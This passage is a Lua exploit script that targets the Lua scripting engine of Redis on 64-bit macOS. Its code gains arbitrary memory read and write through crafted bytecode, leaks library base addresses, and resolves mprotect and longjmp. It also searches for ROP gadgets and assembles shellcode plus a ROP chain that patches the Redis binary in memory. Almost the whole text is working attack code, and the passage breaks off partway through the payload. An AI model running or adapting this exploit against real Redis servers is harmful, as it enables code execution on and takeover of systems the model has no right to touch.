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local fail = function ( msg ) print ( " [-] " .. msg ) error ( msg ) end local addbyte = function ( b8 , byte ) local carry = byte local result = ' ' for i = 1 , string.len ( b8 ) do local cb = string.byte ( b8 , i ) + carry if cb >= 256 then carry = 1 else carry = 0 end result = result .. string.char ( cb % 256 ) end return result end local double2string = function ( x ) if x == nil then return x end return struct . pack ( ' <d' , x ) end local asdouble = loadstring (( string.dump ( function ( x ) for i = x , x , 0 do return i end end ): gsub ( ' \96 %z%z \128 ' , ' \22\0\0\128 ' ))) local asstring = function ( x ) return double2string ( asdouble ( x )) end local cstring = function ( v ) return addbyte ( asstring ( v ), 24 ) end local string2double = function ( x ) local r , n = struct . unpack ( ' <d' , x ) return r end local subb8 = function ( b8l , b8r ) local borrow = 0 local result = ' ' for i = 1 , 8 do local cb = string.byte ( b8l , i ) - borrow - string.byte ( b8r , i ) if cb < 0 then borrow = 1 cb = cb + 256 else borrow = 0 end result = result .. string.char ( cb ) end return result end local tob8 = function ( n ) local result = " " for i = 1 , 8 do local next_byte = n % 256 result = result .. string.char ( next_byte ) n = math.floor ( n / 256 ) end return result end local toint = function ( b8 ) local result = 0 for i = 8 , 1 , - 1 do result = result * 256 result = result + string.byte ( b8 , i ) end return result end local addb8 = function ( b8l , b8r ) local carry = 0 local result = ' ' for i = 1 , 8 do local cb = string.byte ( b8l , i ) + carry + string.byte ( b8r , i ) if cb >= 256 then carry = 1 else carry = 0 end result = result .. string.char ( cb % 256 ) end return result end local addint = function ( b8 , int ) return addb8 ( b8 , tob8 ( int )) end local subint = function ( b8 , int ) return subb8 ( b8 , tob8 ( int )) end local dump8 = function ( b8 ) if b8 == nil then return " <nil>" else return string.format ( ' %02x%02x%02x%02x%02x%02x%02x%02x' , string.byte ( b8 , 8 ), string.byte ( b8 , 7 ), string.byte ( b8 , 6 ), string.byte ( b8 , 5 ), string.byte ( b8 , 4 ), string.byte ( b8 , 3 ), string.byte ( b8 , 2 ), string.byte ( b8 , 1 )) end end local dump4 = function ( b4 ) return string.format ( ' %02x%02x%02x%02x' , string.byte ( b4 , 4 ), string.byte ( b4 , 3 ), string.byte ( b4 , 2 ), string.byte ( b4 , 1 )) end local word_read = nil local return_read_word = function ( b8 ) word_read = b8 end local read_word = function ( address ) local f = loadstring ( string.dump ( function () local magic = nil local function middle () local upval local cstring = cstring_global local asstring = asstring_global local b8 = word_to_read_global local ret = return_global local function inner () upval = ' nextnext' .. ' t' .. ' m' .. ' papapa' .. b8 local upval_ptr = cstring ( upval ) magic = upval_ptr .. upval_ptr .. upval_ptr end inner () ret ( asstring ( magic )) end middle () end ): gsub ( ' ( \100 %z%z%z)....' , ' %1 \0\0\0\1 ' , 1 )) local result = nil local return_function = function ( v ) result = v end local env = { cstring_global = cstring , asstring_global = asstring , word_to_read_global = address , return_read_word_global = return_read_word , return_global = return_function } setfenv ( f , env ) f () return result end --[[ write word also corrupts the next 4 bytes after address :( const TValue *o2=(obj2); TValue *o1=(obj1); \ o1->value = o2->value; o1->tt=o2->tt; ]] local write_word = function ( address , value ) local f = loadstring ( string.dump ( function () local magic = nil local function middle () local upval local cstring = cstring_global local string2double = string2double_global local b8 = address_global local value = value_to_write_global local function inner () upval = ' nextnext' .. ' t' .. ' m' .. ' papapa' .. b8 local upval_ptr = cstring ( upval ) magic = upval_ptr .. upval_ptr .. upval_ptr end inner () magic = string2double ( value ) end middle () end ): gsub ( ' ( \100 %z%z%z)....' , ' %1 \0\0\0\1 ' , 1 )) local env = { cstring_global = cstring , string2double_global = string2double , address_global = address , value_to_write_global = value } setfenv ( f , env ) f () end local new_lazy_stream = function ( offset , size ) return { buffer = nil , buffer_offset = nil , start_offset = offset , current_offset = 0 , size = size } end local lazy_stream_seek = function ( stream , offset ) stream . current_offset = offset end local lazy_stream_skip = function ( stream , offset ) stream . current_offset = stream . current_offset + offset end local lazy_stream_read = function ( stream ) if stream . buffer == nil or stream . current_offset < stream . buffer_offset or stream . current_offset >= stream . buffer_offset + 8 then --[[ dodgy floats ie repeated bytes of 0xFF will trigger multiple reads because the first word will fail then the next and so forth :( )]] stream . buffer = read_word ( addint ( stream . start_offset , stream . current_offset )) stream . buffer_offset = stream . current_offset end local byte = nil if stream . buffer ~= nil then byte = string.byte ( stream . buffer , stream . current_offset - stream . buffer_offset + 1 ) end stream . current_offset = stream . current_offset + 1 return byte end local lazy_stream_empty = function ( stream ) return stream . current_offset >= stream . size end local read_uleb8 = function ( stream ) local value = 0 local shift = 1 while true do local next_byte = lazy_stream_read ( stream ) local masked = next_byte % 0x80 value = value + ( masked * shift ) local high_bit = next_byte - masked if high_bit == 0 then return value end shift = shift * math.pow ( 2 , 7 ) end end local read_string = function ( stream ) local value = {} while true do local next_byte = lazy_stream_read ( stream ) if next_byte == 0 then return table.concat ( value , " " ) end table.insert ( value , string.char ( next_byte )) end end local ALTERNATION = 256 local FINAL = 257 local ANY = 258 local function alternation ( list ) if # list == 0 then fail ( " assertion failed" ) end if # list == 1 then return list [ 1 ] else local current = { first_branch = list [ 1 ], second_branch = list [ 2 ], byte = ALTERNATION } for i = 3 , # list do current = { first_branch = current , second_branch = list [ i ], byte = ALTERNATION } end return current end end local function dotstar () local any = { byte = ANY } local alternation = { first_branch = nil , second_branch = any , byte = ALTERNATION } any . first_branch = alternation return alternation end local function join ( left , right ) left . first_branch = right return left end local function literal ( literal ) local current = { byte = FINAL , matched = literal } for i =# literal , 1 , - 1 do current = { byte = string.byte ( literal , i ), first_branch = current } end return current end local function addstate ( list , state , list_id ) if state . lastlist ~= list_id then table.insert ( list , state ) state . lastlist = list_id if state . byte == ALTERNATION then addstate ( list , state . first_branch , list_id ) addstate ( list , state . second_branch , list_id ) end end end local function re_restart ( match_state , re ) local current_list = {} local list_id = match_state . list_id + 1 addstate ( current_list , re , list_id ) return { list_id = list_id , current_list = current_list } end local function re_start ( re ) return re_restart ({ list_id = 0 }, re ) end local function re_push_byte ( match_state , byte ) local list_id = match_state . list_id + 1 local next_list = {} local list_id = list_id + 1 for i = 1 , # match_state . current_list do local state = match_state . current_list [ i ] if ( state . byte == byte or state . byte == ANY ) then addstate ( next_list , state . first_branch , list_id ) end end return { list_id = list_id , current_list = next_list } end local pagealign = function ( b8 ) local byte2 = string.byte ( b8 , 2 ) local aligned = math.floor ( byte2 / 16 ) * 16 return string.char ( 0 , aligned ) .. string.sub ( b8 , 3 ) end local findmacho = function ( b8 ) local b8 = pagealign ( b8 ) local target = string.char ( 0xCF , 0xFA , 0xED , 0xFE ) local page_size = string.char ( 0x00 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ) while true do local word = read_word ( b8 ) if word ~= nil then local top_half = string.sub ( word , 1 , 4 ) if top_half == target then return b8 end end b8 = subb8 ( b8 , page_size ) end end local readi4 = function ( b8 ) local word = read_word ( b8 ) local top_half = string.sub ( word , 1 , 4 ) return struct . unpack ( " <I4" , top_half ) end local c_length = function ( s ) for i = 1 , string.len ( s ) do if string.byte ( s , i ) == 0 then return i - 1 end end return string.len ( s ) end local terminate_c_string = function ( s ) local length = c_length ( s ) return string.sub ( s , 1 , length ) end local parse_segment = function ( b8 , offset , segment_info ) local segment_name = terminate_c_string ( read_word ( addint ( b8 , offset + 8 )) .. read_word ( addint ( b8 , offset + 16 ))) local vm_addr = read_word ( addint ( b8 , offset + 24 )) local vm_size = read_word ( addint ( b8 , offset + 32 )) local file_offset = read_word ( addint ( b8 , offset + 40 )) print ( " [*] found segment: " .. segment_name .. " => " .. ( dump8 ( vm_addr )) .. " /" .. dump8 ( file_offset )) segment_info [ segment_name ] = { vm_addr = vm_addr , file_offset = file_offset , vm_size = vm_size } end local parse_macho_segments = function ( macho_offset , dyld_callback ) local commands = readi4 ( addbyte ( macho_offset , 16 )) local offset = 32 local segment_info = {} for i = 1 , commands do local command = readi4 ( addint ( macho_offset , offset )) local size = readi4 ( addint ( macho_offset , offset + 4 )) if command == 25 then parse_segment ( macho_offset , offset , segment_info ) elseif command == 2147483682 then dyld_callback ( offset , segment_info ) end offset = offset + size end return segment_info end local parse_libsystem_c_macho = function ( macho_offset ) local callback = function ( offset , segment_info ) end local segment_info = parse_macho_segments ( macho_offset , callback ) return segment_info end local segment_location = function ( macho , segment_info , segment_name ) local text_segment = segment_info [ " __TEXT" ] local target_segment = segment_info [ segment_name ] local segment_location = addb8 ( subb8 ( target_segment . vm_addr , text_segment . vm_addr ), macho ) return segment_location end local opcode_offset = function ( macho , segment_info , lazy_binding_info_offset ) local link_edit_segment = segment_info [ " __LINKEDIT" ] local text_segment = segment_info [ " __TEXT" ] local offset_into_link_edit = subb8 ( tob8 ( lazy_binding_info_offset ), link_edit_segment . file_offset ) local link_edit_location = segment_location ( macho , segment_info , " __LINKEDIT" ) return addb8 ( offset_into_link_edit , link_edit_location ) end local matches_part = function ( name , label , matched_so_far ) if string.len ( label ) > string.len ( name ) - matched_so_far then return false end for i = 1 , # label do if string.byte ( label , i ) ~= string.byte ( name , i + matched_so_far ) then return false end end return true end local find_exported_symbol = function ( stream , name ) local matched_name = 0 local name_len = string.len ( name ) while not lazy_stream_empty ( stream ) do local terminal_size = read_uleb8 ( stream ) if ( terminal_size > 0 and name_len == matched_name ) then local flags = lazy_stream_read ( stream ) local symbol_offset = read_uleb8 ( stream ) return symbol_offset end lazy_stream_skip ( stream , terminal_size ) local children = lazy_stream_read ( stream ) local matched = false for i = 1 , children do local label = read_string ( stream ) local node_offset = read_uleb8 ( stream ) if matches_part ( name , label , matched_name ) then matched_name = matched_name + string.len ( label ) lazy_stream_seek ( stream , node_offset ) matched = true break end end if not matched then return nil end end end local process_export_bindings = function ( macho_offset , offset , size ) local mprotect = find_exported_symbol ( new_lazy_stream ( offset , size ), " _mprotect" ) if mprotect == nil then fail ( " Failed to find mprotect" ) else local mprotect_addr = addint ( macho_offset , mprotect ) print ( " [+] found mprotect symbol " .. dump8 ( mprotect_addr )) return mprotect_addr end end local parse_exports_dyld_info = function ( macho_offset , offset , segment_info ) local export_binding_info_offset = readi4 ( addint ( macho_offset , offset + 40 )) local export_binding_info_size = readi4 ( addint ( macho_offset , offset + 44 )) local offset = opcode_offset ( macho_offset , segment_info , export_binding_info_offset ) return process_export_bindings ( macho_offset , offset , export_binding_info_size ) end local parse_libkernel_macho = function ( macho_offset ) local mprotect_addr = nil local callback = function ( offset , segment_info ) mprotect_addr = parse_exports_dyld_info ( macho_offset , offset , segment_info ) end parse_macho_segments ( macho_offset , callback ) return mprotect_addr end local process_lazy_bindings = function ( offset , size ) local stream = new_lazy_stream ( offset , size ) local current_symbol = {} local symbols = {} while not lazy_stream_empty ( stream ) do local op = lazy_stream_read ( stream ) local immediate = op % 16 local opcode = op - immediate if opcode == 0x70 then --[[BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB]] current_symbol . segment = immediate current_symbol . offset = read_uleb8 ( stream ) elseif opcode == 0x40 then --[[BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM]] current_symbol . name = read_string ( stream ) elseif opcode == 0x10 then --[[BIND_OPCODE_SET_DYLIB_ORDINAL_IMM]] --[[ignore]] elseif opcode == 0x90 then --[[BIND_OPCODE_DO_BIND]] print ( " [*] parsed_symbol " .. current_symbol . name .. " => " .. current_symbol . segment .. " :" .. current_symbol . offset ) table.insert ( symbols , current_symbol ) local old_symbol = current_symbol current_symbol = {} current_symbol . segment = old_symbol . segment current_symbol . offset = old_symbol . offset current_symbol . name = old_symbol . name elseif opcode == 0x00 then --[[BIND_OPCODE_DONE]] --[[ignore]] else fail ( " found unknown opcode in lazy bindings " .. opcode ) end end return symbols end local parse_dyld_info = function ( macho_offset , offset , segment_info ) local lazy_binding_info_offset = readi4 ( addint ( macho_offset , offset + 32 )) local lazy_binding_size = readi4 ( addint ( macho_offset , offset + 36 )) local offset = opcode_offset ( macho_offset , segment_info , lazy_binding_info_offset ) return process_lazy_bindings ( offset , lazy_binding_size ) end local find_symbol = function ( symbols , symbol ) for i = 1 , # symbols do if symbols [ i ]. name == symbol then return symbols [ i ] end end return nil end local leak_macho = function ( name , data_location , symbols , symbol ) local resolved_symbol = find_symbol ( symbols , symbol ) if resolved_symbol == nil then fail ( " Failed to find " .. symbol .. " symbol" ) end print ( " [*] Found " .. symbol .. " symbol: " .. resolved_symbol . offset ) --[[we assume the pointer is into the data segment. #TODO FIX THIS]] local location = addint ( data_location , resolved_symbol . offset ) local address = read_word ( location ) print ( " [*] Found " .. symbol .. " location: " .. dump8 ( address )) local macho_address = findmacho ( address ) print ( ' [*] found ' .. name .. ' macho base address: ' .. dump8 ( macho_address )) return macho_address end local parse_redis_macho = function ( macho_offset ) local longjmp_location = nil local libsystem_c = nil local libkernel = nil local callback = function ( offset , segment_info ) local symbols = parse_dyld_info ( macho_offset , offset , segment_info ) local data_location = segment_location ( macho_offset , segment_info , " __DATA" ) libsystem_c = leak_macho ( " libsystem_c" , data_location , symbols , " _strlen" ) libkernel = leak_macho ( " libkernel" , data_location , symbols , " _getrlimit" ) local longjmp = find_symbol ( symbols , " _longjmp" ) if longjmp == nil then longjmp = find_symbol ( symbols , " __longjmp" ) end if longjmp == nil then fail ( " Failed to find _longjmp symbol" ) else longjmp_location = read_word ( addint ( data_location , longjmp . offset )) print ( " [+] Found longjump jump location " .. dump8 ( longjmp_location )) end end local segments = parse_macho_segments ( macho_offset , callback ) return { redis = macho_offset , longjmp_address = longjmp_location , libsystem_c = libsystem_c , libkernel = libkernel , redis_segments = segments } end local matches = function ( expected , word ) for i = 1 , # expected do if string.byte ( expected , i ) ~= string.byte ( word , i ) then return false end end return true end local find_insn = function ( name , expected , libc , offsets ) if # expected >= 8 then error ( " failed assertion" ) end for i = 1 , # offsets do local addr = addint ( libc , offsets [ i ]) --[[apparently we can do unaligned reads :) :)]] local word = read_word ( addr ) if ( word ~= nil ) and matches ( expected , word ) then return addr end end return nil end local function find_rops ( rops , stream ) local literals = {} for i , rop in ipairs ( rops ) do literals [ i ] = literal ( rop ) end local re = join ( dotstar (), alternation ( literals )) local state = re_start ( re ) local found_rops = {} local remaining = # rops while not lazy_stream_empty ( stream ) and remaining > 0 do local next_byte = lazy_stream_read ( stream ) if next_byte == nil then state = re_restart ( state , re ) else state = re_push_byte ( state , next_byte ) end for i = 1 , # ( state . current_list ) do local s = state . current_list [ i ] if s . byte == FINAL then if found_rops [ s . matched ] == nil then remaining = remaining - 1 found_rops [ s . matched ] = stream . current_offset - string.len ( s . matched ) end end end end return found_rops end -- offset search for named rops only works if rop_size <= 8 bytes because it only reads -- a single word. slightly dodgy local function find_rops_and_assert ( named_rops , stream , libc ) local missing_rops = {} local inverted = {} for rop , detail in pairs ( named_rops ) do local addr = find_insn ( detail . name , rop , libc , detail . offsets ) if addr == nil then print ( " [-] Missing rop at fixed location will search: " .. detail . name ) table.insert ( missing_rops , rop ) else print ( " [*] Found rop: " .. detail . name .. " @ " .. dump8 ( addr )) inverted [ detail . name ] = addr end end if # missing_rops > 0 then local found_rops = find_rops ( missing_rops , stream ) for i = 1 , # missing_rops do local rop = missing_rops [ i ] if found_rops [ rop ] == nil then fail ( " Failed to find rop: " .. named_rops [ rop ]. name ) else local addr = addint ( stream . start_offset , found_rops [ rop ]) local name = named_rops [ rop ]. name print ( " [*] Found rop: " .. name .. " @ " .. dump8 ( addr )) inverted [ name ] = addr end end end return inverted end local copy_words = function ( from , n ) local buf = {} for i = 1 , n do buf [ i ] = read_word ( from ) from = addbyte ( from , 8 ) end buf = table.concat ( buf , " " ) return buf end local check_system = function () -- os:Darwin 14.3.0 x86_64 -- arch_bits:64 local info = redis . call ( " INFO" ) local os = string.match ( info , " os:([^ \r

]*)" ) if string.find ( os , " Darwin" ) then print ( " [*] Matches OSX => " .. os ) else fail ( " Not OSX => " .. os ) end local arch_bits = string.match ( info , " arch_bits:([^ \r

]*)" ) if arch_bits == " 64" then print ( " [*] 64 Bit" ) else fail ( " Not 64 Bit => " .. arch_bits ) end end local check_bytecode = function () local f = loadstring ( string.dump ( function () end )) if f == nil then fail ( " Loading byte code not supported" ) else print ( " [*] Loading byte code supported" ) end end local find_fparser_cmp = function ( program_information ) local redis_text_segment = program_information . redis_segments [ " __TEXT" ] local stream = new_lazy_stream ( program_information . redis , toint ( redis_text_segment . vm_size )) local re = join ( dotstar (), literal ( string.char ( 0x41 , 0x83 , 0xff , 0x1b ))) local state = re_start ( re ) local found = {} local visited = {} while not lazy_stream_empty ( stream ) do local next_byte = lazy_stream_read ( stream ) if next_byte == nil then state = re_restart ( state , re ) else state = re_push_byte ( state , next_byte ) end for i = 1 , # ( state . current_list ) do local s = state . current_list [ i ] if s . byte == FINAL then table.insert ( found , stream . current_offset - string.len ( s . matched )) end end end if # found == 1 then print ( " [*] found cmp r15, 0x1b" ) else fail ( " could not find unique cmp r15,0x1b " .. # found ) end local cmp_addr = addint ( stream . start_offset , found [ 1 ]) print ( " [*] found cmp @ " .. dump8 ( cmp_addr )) return cmp_addr end check_system () check_bytecode () local co = coroutine.wrap ( function () end ) local addr = read_word ( addbyte ( asstring ( co ), 32 )) local macho_address = findmacho ( addr ) print ( ' [*] found macho base address: ' .. dump8 ( macho_address )) local program_information = parse_redis_macho ( macho_address ) local mprotect_addr = parse_libkernel_macho ( program_information . libkernel ) local libc_segments = parse_libsystem_c_macho ( program_information . libsystem_c ) local longjmp_addr = program_information . longjmp_address local named_rops = {} named_rops [ string.char ( 0x5E , 0x5D , 0xC3 )] = { name = " poprsipoprbp" , offsets = { 0x1b83 , 0x144b }} named_rops [ string.char ( 0x5F , 0x5D , 0xC3 )] = { name = " poprdipoprbp" , offsets = { 0x1d08 , 0x15ee }} named_rops [ string.char ( 0x5B , 0x41 , 0x5E , 0x5D , 0xC3 )] = { name = " poprbxpopr14poprbp" , offsets = { 0x1b81 , 0x1449 }} named_rops [ string.char ( 0x4C , 0x89 , 0xF2 , 0xFF , 0xD3 )] = { name = " movrdxr14callrbx" , offsets = { 0x642f4 , 0x604f0 }} local target_instruction = find_fparser_cmp ( program_information ) local libc_text_segment = libc_segments [ " __TEXT" ] -- we assume vm_addr == 0 local libc_text_stream = new_lazy_stream ( program_information . libsystem_c , toint ( libc_text_segment . vm_size )) local rop_addresses = find_rops_and_assert ( named_rops , libc_text_stream , program_information . libsystem_c ) local poprbp = addint ( rop_addresses . poprsipoprbp , 1 ) local dummy = ' \1\1\1\1\1\1\1\1 ' local null = ' \0\0\0\0\0\0\0\0 ' local shellcode = nil local payload_str = nil local old_jump_buf = nil collectgarbage () co = coroutine.create ( function () local stack_pointer = read_word ( addbyte ( asstring ( co ), 8 * 21 )) print ( " [*] leaked stack pointer: " .. dump8 ( stack_pointer )) local jmp_buf_eip = addint ( stack_pointer , 64 ) local jmp_buf_sp = addint ( stack_pointer , 24 ) local existing_eip = read_word ( jmp_buf_eip ) print ( " [*] old jump_buf eip " .. dump8 ( existing_eip )) local existing_sp = read_word ( jmp_buf_sp ) print ( " [*] existing sp " .. dump8 ( existing_sp )) old_jump_buf = copy_words ( stack_pointer , 48 ) local old_jump_buf_addr = addint ( cstring ( old_jump_buf ), 8 ) shellcode = -- 48 bf VALUE movabs rdi,VALUE string.char ( 0x48 , 0xbf ) .. pagealign ( target_instruction ) .. -- 48 c7 c6 00 20 00 00 mov rsi,0x2000 string.char ( 0x48 , 0xc7 , 0xc6 , 0x00 , 0x20 , 0x00 , 0x00 ) .. -- 48 c7 c2 07 00 00 00 mov rdx,0x7 string.char ( 0x48 , 0xc7 , 0xc2 , 0x07 , 0x00 , 0x00 , 0x00 ) .. -- 48 b8 VALUE movabs rax, VALUE string.char ( 0x48 , 0xb8 ) .. mprotect_addr .. -- ff d0 call rax string.char ( 0xff , 0xd0 ) .. -- 48 bf VALUE movabs rdi,VALUE string.char ( 0x48 , 0xbf ) .. target_instruction .. -- c7 07 VALUE mov DWORD PTR [rdi],VALUE string.char ( 0xc7 , 0x07 ) .. string.char ( 0x48 , 0x83 , 0xfc , 0x1b ) .. -- restore permissions -- 48 bf VALUE movabs rdi,VALUE string.char ( 0x48 , 0xbf ) .. pagealign ( target_instruction ) .. -- 48 c7 c6 00 20 00 00 mov rsi,0x2000 string.char ( 0x48 , 0xc7 , 0xc6 , 0x00 , 0x20 , 0x00 , 0x00 ) .. -- 48 c7 c2 05 00 00 00 mov rdx,0x5 string.char ( 0x48 , 0xc7 , 0xc2 , 0x05 , 0x00 , 0x00 , 0x00 ) .. -- ret string.char ( 0xc3 ) local shellcode_ptr = cstring ( shellcode ) print ( " [*] shellcode_ptr " .. dump8 ( shellcode_ptr )) local rdi = pagealign ( shellcode_ptr ) local rsi = tob8 ( 8192 ) local rdx_all = tob8 ( 7 ) -- PROT_READ | PROT_WRITE | PROT_EXEC local rdx_read_write = tob8 ( 3 ) -- PROT_READ | PROT_WRITE local payload = { --[[ padding for our fake stack. `system` calls into the dynamic linker because of stubbed crap. so stack can get quite big. 1024 bytes => stack overflow and corruption of lua/redis heap ]] " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , " XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" , --[[ poprdipoprbp, ]] rdi , dummy , rop_addresses . poprsipoprbp , rsi , dummy , rop_addresses . poprbxpopr14poprbp , poprbp , rdx_all , dummy , rop_addresses . movrdxr14callrbx , mprotect_addr , shellcode_ptr , rop_addresses . poprdipoprbp , rdi , dummy , rop_addresses . poprsipoprbp , rsi , dummy , rop_addresses . poprbxpopr14poprbp , poprbp , rdx_read_write , dummy , rop_addresses . movrdxr14callrbx , mprotect_addr , rop_addresses . poprdipoprbp , old_jump_buf_addr , dummy , longjmp_addr , " 